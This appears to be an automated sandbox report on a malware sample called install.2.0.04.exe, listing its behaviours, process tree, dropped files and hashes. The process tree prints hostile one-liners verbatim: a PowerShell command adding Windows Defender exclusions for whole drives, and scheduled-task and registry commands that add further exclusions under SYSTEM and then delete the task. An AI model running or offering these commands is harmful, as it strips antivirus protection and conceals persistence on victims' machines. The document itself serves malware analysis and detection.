Analysis

  • max time kernel
    151s
  • max time network
    133s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 11:06

General

  • Target
    install.2.0.04.exe
  • Size 30.5MB
  • Sample261024-m7fvjsbt4n
  • SHA256 5775a02a5bf2e150f808a0179045136a3e03085289f05da3ba8ebc77f3fd1080
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:5064
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:5128
    • C:\Users\Public\FOagJ5\lH6b69.exe
      "C:\Users\Public\FOagJ5\lH6b69.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of AdjustPrivilegeToken
        PID:3656
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FOagJ5\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:2992
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FOagJ5\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3652
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4844
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:3640
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:6016
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5472
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:2640
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:4208
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:2628
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3896
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:5220
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4820
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:2720
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4300
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:2724
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:4408
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:1232
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2056
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:2548
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:2868
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FOagJ5" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2780
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FOagJ5" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5604
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1420
                          • C:\Users\Public\FOagJ5\lH6b69.exe
                            "C:\Users\Public\FOagJ5\lH6b69.exe"
                            1⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:3724
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5260
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:200
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4468
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4392

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 ff3802431eea0a36a0dd2c1ff8f72efc5b0e18afb5c4a73df3196cf2e7f0497b
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 a63b47dec175a827b588c54002ff7740cdaa5b114c5d8b82dfcd01d1af92074a
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 3f589823b8299685139e4026150fc685d151a86f57429dd0d88dabdbd9a7065d
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 46e105ed1c4774e35d25d55f50b36442ba07becc135af92672bc7b3cbc2fa784
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_irmcvy4d.dx5.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_irmcvy4d.dx5.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\FOagJ5\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 e6c496662bc6d4049bdaa3c0f8ab443586c9cc8e7a110e66c2a76c26e4ea0259
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\FOagJ5\adoresd.dat
                                • Size 4.8MB
                                • SHA256 1fad223577bc272d9abd4424004747d92f05d087724eca563d64f213038fab6b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                lH6b69.exe

                                • Path C:\Users\Public\FOagJ5\lH6b69.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\FOagJ5\msadox.tb
                                • Size 8KB
                                • SHA256 b065fc8b9a004b620b4f548b61282aaea6f2ad42ac79b79fa464eec1eae5b7d8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/896-563-0x00000190A68A0000-0x00000190A692A000-memory.dmp

                                memory/896-570-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-532-0x00007FFA5BE10000-0x00007FFA5BE12000-memory.dmp

                                memory/896-538-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-540-0x00007FFA5BE20000-0x00007FFA5BE22000-memory.dmp

                                memory/896-541-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-545-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-546-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-547-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-548-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-554-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-565-0x00000190A68A0000-0x00000190A692A000-memory.dmp

                                memory/896-560-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-564-0x00000190A68A0000-0x00000190A692A000-memory.dmp

                                memory/896-566-0x00000190A68A0000-0x00000190A692A000-memory.dmp

                                memory/896-611-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-562-0x00000190A51F0000-0x00000190A523E000-memory.dmp

                                memory/896-568-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-571-0x00000190A5C80000-0x00000190A6557000-memory.dmp

                                memory/896-533-0x00007FFA3B080000-0x00007FFA3B59E000-memory.dmp

                                memory/3656-603-0x000002EEE3380000-0x000002EEE33A2000-memory.dmp

                                memory/3656-608-0x000002EEE33C0000-0x000002EEE33CA000-memory.dmp

                                memory/3656-607-0x000002EEE3410000-0x000002EEE34C2000-memory.dmp

                                memory/3656-606-0x000002EEE33F0000-0x000002EEE340E000-memory.dmp

                                memory/3724-594-0x0000017E95DB0000-0x0000017E96687000-memory.dmp

                                memory/3724-581-0x00007FFA3B080000-0x00007FFA3B59E000-memory.dmp

                                memory/3724-586-0x00007FFA5BE20000-0x00007FFA5BE22000-memory.dmp

                                memory/3724-591-0x0000017E95DB0000-0x0000017E96687000-memory.dmp

                                memory/3724-584-0x0000017E95DB0000-0x0000017E96687000-memory.dmp

                                memory/3724-593-0x0000017E95DB0000-0x0000017E96687000-memory.dmp

                                memory/3724-595-0x00007FFA5BE10000-0x00007FFA5BE12000-memory.dmp

                                memory/3724-592-0x0000017E95DB0000-0x0000017E96687000-memory.dmp

                                memory/3724-587-0x0000017E95DB0000-0x0000017E96687000-memory.dmp

                                memory/5064-527-0x00007FFA50850000-0x00007FFA50862000-memory.dmp

                                memory/5064-2-0x0000000002620000-0x000000000262C000-memory.dmp

                                memory/5064-504-0x00007FFA50850000-0x00007FFA50862000-memory.dmp

                                memory/5064-1-0x0000000002610000-0x000000000261E000-memory.dmp

                                memory/5064-526-0x0000000002610000-0x000000000261E000-memory.dmp

                                memory/5064-0-0x0000000002610000-0x000000000261E000-memory.dmp